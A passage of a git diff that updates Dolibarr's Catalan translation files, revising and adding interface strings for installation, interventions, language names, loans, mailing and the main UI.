tals com requereix el procés de migració. Per la seva raó, la migració no es permetrà fins que no actualitzeu la base de dades a una versió actualitzada (llista de versions conegudes amb errors: %s) KeepDefaultValuesWamp=Heu utilitzat l'assistent de configuració Dolibarr de DoliWamp, de manera que els valors proposats aquí ja estan optimitzats. Canvieu-los només si saps el que estàs fent. KeepDefaultValuesDeb=Heu utilitzat l'assistent de configuració Dolibarr des d'un paquet Linux (Ubuntu, Debian, Fedora ...), de manera que els valors proposats aquí ja estan optimitzats. Només cal introduir la contrasenya del propietari de la base de dades a crear. Canvieu altres paràmetres només si sabeu què feu. @@ -157,7 +157,7 @@ MigrationPaymentsUpdate=Actualització dels pagaments (vincle nn pagaments-factu MigrationPaymentsNumberToUpdate=%s pagament(s) a actualitzar MigrationProcessPaymentUpdate=Actualització pagament(s) %s MigrationPaymentsNothingToUpdate=No hi ha més pagaments orfes que hagin de corregir. -MigrationPaymentsNothingUpdatable=No hi ha més pagaments per corregir +MigrationPaymentsNothingUpdatable=No hi ha més pagaments que es puguin corregir MigrationContractsUpdate=Actualització dels contractes sense detalls (gestió del contracte + detall de contracte) MigrationContractsNumberToUpdate=%s contracte(s) a actualitzar MigrationContractsLineCreation=Crea una línia de contracte per referència del contracte %s @@ -165,8 +165,8 @@ MigrationContractsNothingToUpdate=No hi ha més contractes (vinculats a un produ MigrationContractsFieldDontExist=El camp fk_facture ja no existeix. Res a fer. MigrationContractsEmptyDatesUpdate=Correcció de la data buida de contracte MigrationContractsEmptyDatesUpdateSuccess=La correcció de la data buida del contracte s'ha realitzat correctament -MigrationContractsEmptyDatesNothingToUpdate=No hi ha data de contracte buida per corregir -MigrationContractsEmptyCreationDatesNothingToUpdate=No hi ha data de creació del contracte per corregir +MigrationContractsEmptyDatesNothingToUpdate=Cap data de contracte buida a corregir +MigrationContractsEmptyCreationDatesNothingToUpdate=Cap data de creació de contracte a corregir MigrationContractsInvalidDatesUpdate=Correcció del valor incorrecte de la data de contracte MigrationContractsInvalidDateFix=Corregir contracte %s (data contracte=%s, Data posada en servei min=%s) MigrationContractsInvalidDatesNumber=%s contractes modificats @@ -205,10 +205,15 @@ MigrationResetBlockedLog=Restablir el mòdul BlockedLog per l'algoritme v7 MigrationImportOrExportProfiles=Migració de perfils d'importació o exportació (%s) ShowNotAvailableOptions=Mostra les opcions no disponibles HideNotAvailableOptions=Amaga les opcions no disponibles -ErrorFoundDuringMigration=S'han reportat error(s) durant el procés de migració, de manera que el següent pas no està disponible. Per ignorar els errors, podeu fer clic aquí , però l'aplicació o algunes funcions no funcionen correctament fins que es resolen els errors. +ErrorFoundDuringMigration=S'han informat errors durant el procés de migració, de manera que el pas següent no està disponible. Per a ignorar els errors, podeu fer clic aquí, però és possible que l'aplicació o algunes funcions no funcionin correctament fins que es resolguin els errors. YouTryInstallDisabledByDirLock=L'aplicació ha intentat actualitzar-se automàticament, però les pàgines d'instal·lació / actualització s'han desactivat per a la seguretat (el directori rep el nom amb el sufix .lock).
      YouTryInstallDisabledByFileLock=L'aplicació s'ha intentat actualitzar automàticament, però les pàgines d'instal·lació / actualització s'han desactivat per a la seguretat (per l'existència d'un fitxer de bloqueig install.lock al directori de documents del dolibarr).
      +YouTryUpgradeDisabledByMissingFileUnLock=L'aplicació ha intentat actualitzar-se, però el procés d'actualització no està permès actualment.
      ClickHereToGoToApp=Fes clic aquí per anar a la teva aplicació ClickOnLinkOrRemoveManualy=Si una actualització està en curs, espereu. Si no, feu clic al següent enllaç. Si sempre veieu aquesta mateixa pàgina, heu de suprimir / canviar el nom del fitxer install.lock del directori de documents. +ClickOnLinkOrCreateUnlockFileManualy=Si hi ha una actualització en curs, espereu... Si no, heu de crear un fitxer upgrade.unlock al directori de documents de Dolibarr. Loaded=Carregat FunctionTest=Prova de funció +NodoUpgradeAfterDB=Cap acció sol·licitada pels mòduls externs després de l'actualització de la base de dades +NodoUpgradeAfterFiles=Cap acció sol·licitada pels mòduls externs després de l'actualització de fitxers o directoris +MigrationContractLineRank=Migra la línia de contracte per a utilitzar la classificació (i activa la reordenació) diff --git a/htdocs/langs/ca_ES/interventions.lang b/htdocs/langs/ca_ES/interventions.lang index 1ec9149bf55..b281400e064 100644 --- a/htdocs/langs/ca_ES/interventions.lang +++ b/htdocs/langs/ca_ES/interventions.lang @@ -24,9 +24,9 @@ NameAndSignatureOfInternalContact=Nom i signatura del participant: NameAndSignatureOfExternalContact=Nom i signatura del client: DocumentModelStandard=Document model estàndard per a intervencions InterventionCardsAndInterventionLines=Fitxes i línies d'intervenció -InterventionClassifyBilled=Classifica "Facturat" -InterventionClassifyUnBilled=Classifica "No facturat" -InterventionClassifyDone=Classifica com a "Fet" +InterventionClassifyBilled=Marca «Facturat» +InterventionClassifyUnBilled=Marca «No facturat» +InterventionClassifyDone=Marca «Fet» StatusInterInvoiced=Facturada SendInterventionRef=Presentar intervenció %s SendInterventionByMail=Envia la intervenció per e-mail @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Oculta hores i minuts del camp de dates dels regis InterventionStatistics=Estadístiques de intervencions NbOfinterventions=Nombre de fitxers d’intervenció NumberOfInterventionsByMonth=Nombre de fitxes d'intervenció per mes (data de validació) -AmountOfInteventionNotIncludedByDefault=La quantitat d'intervenció no s'inclou de manera predeterminada en els beneficis (en la majoria dels casos, els fulls de temps s'utilitzen per a comptar el temps dedicat). Per incloure'ls, afegiu l'opció PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT amb el valor 1 a Inici-Configuració-Altres. +AmountOfInteventionNotIncludedByDefault=La quantitat d'intervenció no s'inclou per defecte als beneficis (en la majoria dels casos, les fulles de temps s'utilitzen per a comptar el temps dedicat). Podeu utilitzar l'opció PROJECT_ELEMENTS_FOR_ADD_MARGIN i PROJECT_ELEMENTS_FOR_MINUS_MARGIN a la configuració d'Inici-Configuració-Altres per a completar la llista d'elements inclosos als beneficis. InterId=Id. d'intervenció InterRef=Ref. d'intervenció InterDateCreation=Data de creació de la intervenció @@ -68,3 +68,5 @@ ConfirmReopenIntervention=Esteu segur que voleu tornar a obrir la intervenció < GenerateInter=Generar intervenció FichinterNoContractLinked=La intervenció %s s'ha creat sense un contracte vinculat. ErrorFicheinterCompanyDoesNotExist=L'empresa no existeix. No s'ha creat la intervenció. +NextDateToIntervention=Data per a la propera generació d'intervenció +NoIntervention=Cap intervenció diff --git a/htdocs/langs/ca_ES/languages.lang b/htdocs/langs/ca_ES/languages.lang index 11ba5a08955..5dfbfd0ae12 100644 --- a/htdocs/langs/ca_ES/languages.lang +++ b/htdocs/langs/ca_ES/languages.lang @@ -8,12 +8,13 @@ Language_ar_MA=Àrab (marroquí) Language_ar_SA=Àrab Language_ar_TN=Àrab (Tunísia) Language_ar_IQ=Àrab (Iraq) -Language_as_IN=assameses -Language_az_AZ=Azerbaidjan +Language_as_IN=Assamès +Language_az_AZ=Àzeri Language_bn_BD=Bengalí Language_bn_IN=Bengalí (Índia) Language_bg_BG=Búlgar -Language_bs_BA=Bosni +Language_bo_CN=tibetà +Language_bs_BA=Bosnià Language_ca_ES=Català Language_cs_CZ=Txec Language_cy_GB=Gal·lès @@ -22,11 +23,12 @@ Language_da_DK=Danès Language_de_DE=Alemany Language_de_AT=Alemany (Austria) Language_de_CH=Alemany (Suïssa) +Language_de_LU=Alemany (Luxemburg) Language_el_GR=Grec Language_el_CY=Grec (Xipre) Language_en_AE=Anglès (Emirats Àrabs Units) Language_en_AU=Anglès (Australia) -Language_en_CA=Anglès (Canada) +Language_en_CA=Anglès (Canadà) Language_en_GB=Anglès (Regne Unit) Language_en_IN=Anglès (Índia) Language_en_NZ=Anglès (Nova Zelanda) @@ -34,11 +36,13 @@ Language_en_SA=Anglès (Aràbia Saudita) Language_en_SG=Anglès (Singapur) Language_en_US=Anglès (Estats Units) Language_en_ZA=Anglès (Àfrica del Sud) +Language_en_ZW=Anglès (Zimbabwe) Language_es_ES=Espanyol Language_es_AR=Espanyol (Argentina) Language_es_BO=Espanyol (Bolivia) Language_es_CL=Espanyol (Chile) Language_es_CO=Espanyol (Colòmbia) +Language_es_CR=Espanyol (Costa Rica) Language_es_DO=Espenyol (Republica Dominicana) Language_es_EC=Espanyol (Equador) Language_es_GT=Espanyol (Guatemala) @@ -88,11 +92,12 @@ Language_mk_MK=Macedoni Language_mn_MN=Mongol Language_my_MM=Birmà Language_nb_NO=Noruec (Bokmal) -Language_ne_NP=Nepalí +Language_ne_NP=Nepalès Language_nl_BE=Neerlandès (Bèlgica) Language_nl_NL=Holandès Language_pl_PL=Polonès Language_pt_AO=Portuguès (Angola) +Language_pt_MZ=Portuguès (Moçambic) Language_pt_BR=Portuguès (Brasil) Language_pt_PT=Portuguès Language_ro_MD=Romanès (Moldàvia) @@ -105,9 +110,10 @@ Language_tr_TR=Turc Language_sl_SI=Eslovè Language_sv_SV=Suec Language_sv_SE=Suec -Language_sq_AL=Albania +Language_sq_AL=Albanès Language_sk_SK=Eslovac Language_sr_RS=Serbi +Language_sw_KE=Swahili Language_sw_SW=Kiswahili Language_th_TH=Tailandès Language_uk_UA=Ucraïnès diff --git a/htdocs/langs/ca_ES/loan.lang b/htdocs/langs/ca_ES/loan.lang index ac2dd4e3c13..efc0ffda92f 100644 --- a/htdocs/langs/ca_ES/loan.lang +++ b/htdocs/langs/ca_ES/loan.lang @@ -13,8 +13,8 @@ Nbterms=Nombre de termes Term=Termini LoanAccountancyCapitalCode=Compte comptable del capital LoanAccountancyInsuranceCode=Compte comptable de l'assegurança -LoanAccountancyInterestCode=Compte comptable per al interès -ConfirmDeleteLoan=Confirma la eliminació del préstec +LoanAccountancyInterestCode=Compte comptable dels interessos +ConfirmDeleteLoan=Confirmeu l'eliminació d'aquest préstec LoanDeleted=Préstec eliminat correctament ConfirmPayLoan=Confirma la classificació del préstec com a pagat LoanPaid=Préstec pagat @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = No es pot generar un calendari per a un p CantModifyInterestIfScheduleIsUsed = No pots modificar l’interès si fas servir la programació # Admin ConfigLoan=Configuració del mòdul de préstecs -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Compte comptable del capital per defecte -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Compte comptable per al interès per defecte -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Compte comptable de l'assegurança per defecte +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Compte (del pla comptable) que s'utilitzarà per defecte per al capital (mòdul de préstec) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Compte (del pla comptable) que s'utilitzarà per defecte per als interessos (mòdul de préstec) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Compte (del pla comptable) que s'utilitzarà per defecte per a l'assegurança (mòdul de préstec) CreateCalcSchedule=Edita el compromís financer diff --git a/htdocs/langs/ca_ES/mailmanspip.lang b/htdocs/langs/ca_ES/mailmanspip.lang index f0b860515ce..fc238407847 100644 --- a/htdocs/langs/ca_ES/mailmanspip.lang +++ b/htdocs/langs/ca_ES/mailmanspip.lang @@ -1,13 +1,13 @@ # Dolibarr language file - Source file is en_US - mailmanspip MailmanSpipSetup=Configuració del mòdul Mailman i SPIP MailmanTitle=Sistema de llistes de correu Mailman -TestSubscribe=Per comprovar la subscripció a llistes Mailman -TestUnSubscribe=Per comprovar la cancel·lació de subscripcions a llistes Mailman +TestSubscribe=Per a provar la subscripció a llistes Mailman +TestUnSubscribe=Per a provar la cancel·lació de la subscripció a les llistes Mailman MailmanCreationSuccess=La prova de subscripció s'ha executat correctament MailmanDeletionSuccess=La prova de baixa de subscripció s'ha executat correctament SynchroMailManEnabled=Una actualització de Mailman ha d'efectuar-se SynchroSpipEnabled=Una actualització de Mailman ha d'efectuar-se -DescADHERENT_MAILMAN_ADMINPW=Contrasenya d'administrador Mailman +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Contrasenya d'administrador Mailman DescADHERENT_MAILMAN_URL=URL per a les subscripcions Mailman DescADHERENT_MAILMAN_UNSUB_URL=URL per a les desubscripcions Mailman DescADHERENT_MAILMAN_LISTS=Llista (es) per a la subscripció automàtica dels nous membres (separats per comes) @@ -18,10 +18,10 @@ DescADHERENT_SPIP_USER=Usuari de la base de dades d'SPIP DescADHERENT_SPIP_PASS=Contrasenya de la base de dades d'SPIP AddIntoSpip=Afegir a SPIP AddIntoSpipConfirmation=Esteu segur de voler afegir aquest soci a SPIP? -AddIntoSpipError=S'ha produït un error en afegir el usuari a SPIP +AddIntoSpipError=No s'ha pogut afegir l'usuari a SPIP DeleteIntoSpip=Esborrar de SPIP DeleteIntoSpipConfirmation=Esteu segur de voler esborrar aquest membre del SPIP? DeleteIntoSpipError=S'ha produït un error en suprimir l'usuari del SPIP -SPIPConnectionFailed=Error al connectar amb SPIP +SPIPConnectionFailed=No s'ha pogut connectar a SPIP SuccessToAddToMailmanList=S'ha afegit %s correctament en la llista mailman %s o en la base de dades SPIP SuccessToRemoveToMailmanList=S'ha eliminat %s correctament de la llista mailman %s o en la base de dades SPIP diff --git a/htdocs/langs/ca_ES/mails.lang b/htdocs/langs/ca_ES/mails.lang index e1b776a6649..e4aab8c1d43 100644 --- a/htdocs/langs/ca_ES/mails.lang +++ b/htdocs/langs/ca_ES/mails.lang @@ -7,10 +7,10 @@ MailCard=Fitxa E-Mailing MailRecipients=Destinataris MailRecipient=Destinatari MailTitle=Descripció -MailFrom=Remitent +MailFrom=De MailErrorsTo=Errors a MailReply=Respondre a -MailTo=Destinatari(s) +MailTo=Enviar a MailToUsers=A l'usuari(s) MailCC=Còpia a MailToCCUsers=Còpia l'usuari(s) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contactes per càrrec MailingModuleDescEmailsFromFile=Correus electrònics des de fitxer MailingModuleDescEmailsFromUser=Entrada de correus electrònics per usuari MailingModuleDescDolibarrUsers=Usuaris amb correus electrònics -MailingModuleDescThirdPartiesByCategories=Tercers (per categories) +MailingModuleDescThirdPartiesByCategories=Tercers SendingFromWebInterfaceIsNotAllowed=L'enviament des de la interfície web no està permès. EmailCollectorFilterDesc=Tots els filtres han de coincidir perquè es reculli un correu electrònic @@ -106,7 +106,7 @@ NbOfCompaniesContacts=Contactes/adreces únics MailNoChangePossible=Destinataris d'un E-Mailing validat no modificables SearchAMailing=Cercar un E-Mailing SendMailing=Envia e-mailing -SentBy=Enviat por +SentBy=Enviat per MailingNeedCommand=L’enviament de correus electrònics massius es pot realitzar des de la línia d'ordres. Demaneu a l'administrador del servidor que iniciï la següent ordre per a enviar els correus electrònics a tots els destinataris: MailingNeedCommand2=No obstant això, podeu enviar-los en línia afegint el paràmetre MAILING_LIMIT_SENDBYWEB amb el valor del nombre màxim de correus electrònics que vulgueu enviar per sessió. Per a això, aneu a Inici - Configuració - Altres. ConfirmSendingEmailing=Si voleu enviar correus electrònics directament des d'aquesta pantalla, confirmeu que esteu segur que voleu enviar correus electrònics ara des del vostre navegador? @@ -118,8 +118,8 @@ NbOfEMailingsReceived=E-Mailings en massa rebuts NbOfEMailingsSend=E-mails massius enviats IdRecord=ID registre DeliveryReceipt=Justificant de recepció. -YouCanUseCommaSeparatorForSeveralRecipients=Podeu utilitzar el separador coma per a especificar diversos destinataris. -TagCheckMail=Seguiment de l'obertura del email +YouCanUseCommaSeparatorForSeveralRecipients=Podeu utilitzar el separador coma per a especificar diversos destinataris. +TagCheckMail=Seguiment de l'obertura del correu TagUnsubscribe=Enllaç de cancel·lació de la subscripció TagSignature=Signatura de l'usuari remitent EMailRecipient=Correu electrònic del destinatari @@ -142,17 +142,17 @@ NbOfTargetedContacts=Nombre actual de correus electrònics de contactes destinat UseFormatFileEmailToTarget=El fitxer importat ha de tenir el format email;nom;cognom;altre UseFormatInputEmailToTarget=Entra una cadena amb el format email;nom;cognom;altre MailAdvTargetRecipients=Destinataris (selecció avançada) -AdvTgtTitle=Ompliu els camps d'entrada per seleccionar prèviament els tercers o contactes / adreces a destinació +AdvTgtTitle=Ompliu els camps d'entrada per a preseleccionar els tercers o els contactes/adreces de destí AdvTgtSearchTextHelp=Utilitzeu %% com a comodins. Per exemple, per a trobar tots els elements com jean, joe, jim , podeu introduir j%% , també podeu utilitzar ; com a separador de valor i utilitzar ! per excepcions d'aquest valor. Per exemple, jean;joe;jim%%;!jimo;!jima%% tindrà com a objectiu tots els jean, joe, començant per jim però no jimo ni tot el que comenci amb jima -AdvTgtSearchIntHelp=Utilitza un interval per seleccionar un valor enter o decimal +AdvTgtSearchIntHelp=Utilitzeu un interval per a seleccionar un valor enter o decimal AdvTgtMinVal=Valor mínim AdvTgtMaxVal=Valor màxim -AdvTgtSearchDtHelp=Utilitza un interval per seleccionar el valor de la data +AdvTgtSearchDtHelp=Utilitzeu l'interval per a seleccionar el valor de la data AdvTgtStartDt=Dt. inici AdvTgtEndDt=Dt. final AdvTgtTypeOfIncudeHelp=Target E-mail de tercers i correu electrònic de contacte del tercer, o simplement un correu electrònic de tercers o només un correu electrònic de contacte -AdvTgtTypeOfIncude=Tipus de e-mail marcat -AdvTgtContactHelp=Utilitza només si marques el contacte en "Tipus de e-mails marcats" +AdvTgtTypeOfIncude=Tipus de correu electrònic dirigit +AdvTgtContactHelp=Feu servir només si orienteu el contacte a "Tipus de correu electrònic dirigit" AddAll=Afegeix tot RemoveAll=Elimina tot ItemsCount=Registre(s) @@ -179,3 +179,4 @@ RecordCreatedByEmailCollector=Registre creat pel Receptor de correus electrònic DefaultBlacklistMailingStatus=Valor per defecte del camp '%s' en crear un contacte nou DefaultStatusEmptyMandatory=Buit però obligatori WarningLimitSendByDay=ADVERTIMENT: la configuració o el contracte de la vostra instància limita el vostre nombre de correus electrònics per dia a %s . Si intenteu enviar-ne més, pot ser que la vostra instància es ralenteixi o se suspengui. Poseu-vos en contacte amb el vostre servei d'assistència si necessiteu una quota més alta. +NoMoreRecipientToSendTo=No hi ha més destinatari a qui enviar el correu electrònic diff --git a/htdocs/langs/ca_ES/main.lang b/htdocs/langs/ca_ES/main.lang index e316bb74b99..8703eca1e78 100644 --- a/htdocs/langs/ca_ES/main.lang +++ b/htdocs/langs/ca_ES/main.lang @@ -13,7 +13,7 @@ DIRECTION=ltr FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=, -SeparatorThousand=None +SeparatorThousand=. FormatDateShort=%d/%m/%Y FormatDateShortInput=%d/%m/%Y FormatDateShortJava=dd/MM/yyyy @@ -34,6 +34,7 @@ NoTemplateDefined=No hi ha cap plantilla disponible per a aquest tipus de correu AvailableVariables=Variables de substitució disponibles NoTranslation=Sense traducció Translation=Traducció +Translations=Traduccions CurrentTimeZone=Fus horari PHP (Servidor) EmptySearchString=Introdueix criteris de cerca no buits EnterADateCriteria=Introduïu un criteri de data @@ -45,17 +46,17 @@ Error=Error Errors=Errors ErrorFieldRequired=El camp '%s' és obligatori ErrorFieldFormat=El camp '%s' té un valor incorrecte -ErrorFileDoesNotExists=El arxiu %s no existeix +ErrorFileDoesNotExists=El fitxer %s no existeix ErrorFailedToOpenFile=Impossible obrir el fitxer %s ErrorCanNotCreateDir=No es pot crear el directori %s ErrorCanNotReadDir=No es pot llegir el directori %s ErrorConstantNotDefined=Parámetre %s no definit ErrorUnknown=Error desconegut ErrorSQL=Error de SQL -ErrorLogoFileNotFound=El arxiu logo '%s' no es troba -ErrorGoToGlobalSetup=Aneu a la configuració "Empresa/Organització" per a solucionar-ho +ErrorLogoFileNotFound=No s'ha trobat el fitxer de logotip «%s». +ErrorGoToGlobalSetup=Aneu a la configuració «Empresa/Organització» per a solucionar-ho ErrorGoToModuleSetup=Aneu a Configuració del mòdul per a solucionar-ho -ErrorFailedToSendMail=Error en l'enviament de l'e-mail (emissor =%s, destinatairo =%s) +ErrorFailedToSendMail=No s'ha pogut enviar el correu (emissor=%s, receptor=%s) ErrorFileNotUploaded=El fitxer no s'ha pogut transferir ErrorInternalErrorDetected=Error detectat ErrorWrongHostParameter=Paràmetre Servidor invàlid @@ -69,11 +70,11 @@ ErrorDuplicateField=Duplicat en un camp únic ErrorSomeErrorWereFoundRollbackIsDone=S'han trobat alguns errors. Modificacions desfetes. ErrorConfigParameterNotDefined=El paràmetre %s no està definit en el fitxer de configuració Dolibarr conf.php. ErrorCantLoadUserFromDolibarrDatabase=Impossible trobar l'usuari %s a la base de dades Dolibarr. -ErrorNoVATRateDefinedForSellerCountry=Error, cap tipus d'IVA definit per al país '%s'. -ErrorNoSocialContributionForSellerCountry=Error, cap tipus d'impost varis definit per al país '%s'. +ErrorNoVATRateDefinedForSellerCountry=Error, no s'han definit les taxes d'IVA per al país «%s». +ErrorNoSocialContributionForSellerCountry=Error, no s'ha definit cap mena d'impost varis per al país «%s». ErrorFailedToSaveFile=Error, el registre del fitxer ha fallat. -ErrorCannotAddThisParentWarehouse=Esteu intentant afegir un magatzem primari que ja és fill d'un mag atzem existent -FieldCannotBeNegative=El camp "%s" no pot ser negatiu +ErrorCannotAddThisParentWarehouse=Esteu intentant afegir un magatzem principal que ja és fill d'un magatzem existent +FieldCannotBeNegative=El camp «%s» no pot ser negatiu MaxNbOfRecordPerPage=Màx. nombre de registres per pàgina NotAuthorized=No estàs autoritzat per a fer-ho. SetDate=Indica la data @@ -90,7 +91,7 @@ FileSaved=El fitxer s'ha desat correctament FileUploaded=L'arxiu s'ha carregat correctament FileTransferComplete=El(s) fitxer(s) s'han carregat correctament FilesDeleted=El(s) fitxer(s) s'han eliminat correctament -FileWasNotUploaded=Un arxiu ha estat seleccionat per adjuntar, però encara no ha estat pujat. Feu clic a "Adjuntar aquest arxiu" per a això. +FileWasNotUploaded=S'ha seleccionat un fitxer per a adjuntar-lo, però encara no s'ha penjat. Feu clic a "Adjuntar fitxer" per a això. NbOfEntries=Nombre d'entrades GoToWikiHelpPage=Llegiu l'ajuda en línia (cal tenir accés a Internet) GoToHelpPage=Consultar l'ajuda @@ -114,21 +115,21 @@ PreviousValue=Valor anterior ConnectedOnMultiCompany=Connexió a l'entitat ConnectedSince=Connectat des AuthenticationMode=Mode autentificació -RequestedUrl=URL sol·licitada +RequestedUrl=URL sol·licitat DatabaseTypeManager=Tipus de gestor de base de dades RequestLastAccessInError=Últimes peticions d'accés a la base de dades amb error ReturnCodeLastAccessInError=Retorna el codi per les últimes peticions d'accés a la base de dades amb error InformationLastAccessInError=Informació de les últimes peticions d'accés a la base de dades amb error DolibarrHasDetectedError=Dolibarr ha trobat un error tècnic YouCanSetOptionDolibarrMainProdToZero=Podeu llegir el fitxer de registre o establir l'opció $dolibarr_main_prod a '0' al fitxer de configuració per a obtenir més informació. -InformationToHelpDiagnose=Aquesta informació pot ser útil per a finalitats de diagnòstic (podeu establir l'opció $dolibarr_main_prod a '1' per amagar informació sensible) +InformationToHelpDiagnose=Aquesta informació pot ser útil per a finalitats de diagnòstic (podeu establir l'opció $dolibarr_main_prod a «1» per a amagar informació delicada) MoreInformation=Més informació TechnicalInformation=Informació tècnica TechnicalID=ID Tècnic LineID=ID de línia NotePublic=Nota (pública) NotePrivate=Nota (privada) -PrecisionUnitIsLimitedToXDecimals=Dolibarr està configurat per limitar la precisió dels preus unitaris a %s decimals. +PrecisionUnitIsLimitedToXDecimals=Dolibarr està configurat per a limitar la precisió dels preus unitaris a %s decimals. DoTest=Provar ToFilter=Filtre NoFilter=Sense filtre @@ -205,6 +206,7 @@ Valid=Validar Approve=Aprovar Disapprove=Desaprovar ReOpen=Reobrir +OpenVerb=Obert Upload=Carrega ToLink=Enllaç Select=Seleccionar @@ -222,8 +224,9 @@ UserGroup=Grup d'usuaris UserGroups=Grups d'usuaris NoUserGroupDefined=Grup d'usuari no definit Password=Contrasenya -PasswordRetype=Repetir contrasenya +PasswordRetype=Repetiu la vostra contrasenya NoteSomeFeaturesAreDisabled=Tingues en compte que molts mòduls i funcionalitats estan deshabilitats en aquesta demostració. +YourUserFile=El vostre fitxer d'usuari Name=Nom NameSlashCompany=Nom / Empresa Person=Persona @@ -241,8 +244,8 @@ Language=Idioma MultiLanguage=Multiidioma Note=Nota Title=Títol -Label=Etiqueta -RefOrLabel=Ref. o etiqueta +Label=Nom +RefOrLabel=Ref. o nom Info=Log Family=Família Description=Descripció @@ -262,7 +265,7 @@ Numero=Número Limit=Límit Limits=Límits Logout=Desconnexió -NoLogoutProcessWithAuthMode=No s'ha pogut desconnectar amb el mètode de autenticació %s +NoLogoutProcessWithAuthMode=No s'ha pogut desconnectar amb el mètode d'autenticació %s Connection=Usuari Setup=Configuració Alert=Alerta @@ -278,7 +281,7 @@ Date=Data DateAndHour=Data i hora DateToday=Data d'avui DateReference=Data de referència -DateStart=Data inicial +DateStart=Data d'inici DateEnd=Data final DateCreation=Data de creació DateCreationShort=Data creació @@ -472,11 +475,11 @@ ActionsToDo=Esdeveniments a realitzar ActionsToDoShort=A realitzar ActionsDoneShort=Realitzades ActionNotApplicable=No aplicable -ActionRunningNotStarted=No començat +ActionRunningNotStarted=Començar ActionRunningShort=En progrés ActionDoneShort=Acabat ActionUncomplete=Incomplet -LatestLinkedEvents=Darrers %s esdeveniments vinculats +LatestLinkedEvents=Últims %s esdeveniments vinculats CompanyFoundation=Empresa/Organització Accountant=Comptador ContactsForCompany=Contactes d'aquest tercer @@ -487,6 +490,7 @@ ActionsOnContact=Esdeveniments per a aquest contacte / adreça ActionsOnContract=Esdeveniments per a aquest contracte ActionsOnMember=Esdeveniments d'aquest soci ActionsOnProduct=Esdeveniments sobre aquest producte +ActionsOnAsset=Esdeveniments per a aquest actiu fix NActionsLate=%s en retard ToDo=A realitzar Completed=Finalitzat @@ -510,6 +514,7 @@ NotYetAvailable=Encara no disponible NotAvailable=No disponible Categories=Etiquetes Category=Etiqueta +SelectTheTagsToAssign=Seleccioneu les etiquetes/categories que voleu assignar By=Per From=De FromDate=De @@ -571,7 +576,7 @@ Photo=Foto Photos=Fotos AddPhoto=Afegeix una imatge DeletePicture=Elimina la imatge -ConfirmDeletePicture=Confirmes l'eliminació de la imatge? +ConfirmDeletePicture=Vols confirmar l'eliminació de la imatge? Login=Nom d'usuari LoginEmail=Codi d'usuari (correu electrònic) LoginOrEmail=Codi d'usuari o correu electrònic @@ -779,7 +784,7 @@ CoreErrorTitle=Error del sistema CoreErrorMessage=Ho sentim, s'ha produït un error. Poseu-vos en contacte amb l'administrador del sistema per a comprovar els registres o desactiva $dolibarr_main_prod=1 per a obtenir més informació. CreditCard=Targeta de crèdit ValidatePayment=Validar aquest pagament -CreditOrDebitCard=Tarja de crèdit o dèbit +CreditOrDebitCard=Targeta de crèdit o dèbit FieldsWithAreMandatory=Els camps marcats per un %s són obligatoris FieldsWithIsForPublic=Els camps marcats per %s es mostren en la llista pública de socis. Si no voleu veure'ls, desactiveu la casella "públic". AccordingToGeoIPDatabase=(Obtingut per conversió GeoIP) @@ -804,10 +809,11 @@ Frequency=Freqüència IM=Missatgeria instantània NewAttribute=Atribut nou AttributeCode=Codi atribut -URLPhoto=Url de la foto/logo +URLPhoto=URL de la foto/logotip SetLinkToAnotherThirdParty=Enllaça amb un altre tercer LinkTo=Enllaça a LinkToProposal=Enllaça a pressupost +LinkToExpedition= Enllaç a l'expedició LinkToOrder=Enllaça a comanda LinkToInvoice=Enllaça a factura LinkToTemplateInvoice=Enllaçar a plantilla de factura @@ -821,7 +827,7 @@ LinkToMo=Enllaç a Mo CreateDraft=Crea esborrany SetToDraft=Tornar a redactar ClickToEdit=Clic per a editar -ClickToRefresh=Clic per actualitzar +ClickToRefresh=Feu clic per a actualitzar EditWithEditor=Editar amb CKEditor EditWithTextEditor=Editar amb l'editor de text EditHTMLSource=Editar el codi HTML @@ -859,7 +865,7 @@ AccountCurrency=Moneda del compte ViewPrivateNote=Veure notes XMoreLines=%s línia(es) oculta(es) ShowMoreLines=Mostra més/menys línies -PublicUrl=URL pública +PublicUrl=URL públic AddBox=Afegir quadre SelectElementAndClick=Seleccioneu un element i feu clic a %s PrintFile=%s arxius a imprimir @@ -893,9 +899,12 @@ MassFilesArea=Àrea de fitxers generats per accions massives ShowTempMassFilesArea=Mostra l'àrea de fitxers generats per accions massives ConfirmMassDeletion=Confirmació d'esborrament massiu ConfirmMassDeletionQuestion=Esteu segur que voleu suprimir els (s) registre (s) %s? +ConfirmMassClone=Confirma la clonació massiva +ConfirmMassCloneQuestion=Seleccioneu el projecte per a clonar +ConfirmMassCloneToOneProject=Clonar al projecte %s RelatedObjects=Objectes relacionats -ClassifyBilled=Classifica facturat -ClassifyUnbilled=Classifica no facturat +ClassifyBilled=Marca facturat +ClassifyUnbilled=Marca no facturat Progress=Progrés ProgressShort=Progr. FrontOffice=Front office @@ -908,24 +917,26 @@ ExportFilteredList=Llistat filtrat d'exportació ExportList=Llistat d'exportació ExportOptions=Opcions d'exportació IncludeDocsAlreadyExported=Inclou documents ja exportats -ExportOfPiecesAlreadyExportedIsEnable=L’exportació de peces ja exportades està habilitada -ExportOfPiecesAlreadyExportedIsDisable=L’exportació de peces ja exportades està inhabilitada +ExportOfPiecesAlreadyExportedIsEnable=Els documents ja exportats són visibles i s'exportaran +ExportOfPiecesAlreadyExportedIsDisable=Els documents ja exportats s'amaguen i no s'exportaran AllExportedMovementsWereRecordedAsExported=Tots els moviments exportats s'han registrat com a exportats NotAllExportedMovementsCouldBeRecordedAsExported=No s'ha pogut registrar tots els moviments exportats com a exportats Miscellaneous=Diversos Calendar=Calendari GroupBy=Agrupat per... +GroupByX=Agrupat per %s ViewFlatList=Veure llista plana ViewAccountList=Veure llibre major ViewSubAccountList=Vegeu el subcompte del llibre major RemoveString=Eliminar cadena '%s' -SomeTranslationAreUncomplete=Alguns dels idiomes que s'ofereixen poden estar traduïts només parcialment o poden contenir errors. Si us plau, ajudeu a corregir el vostre idioma registrant-vos a 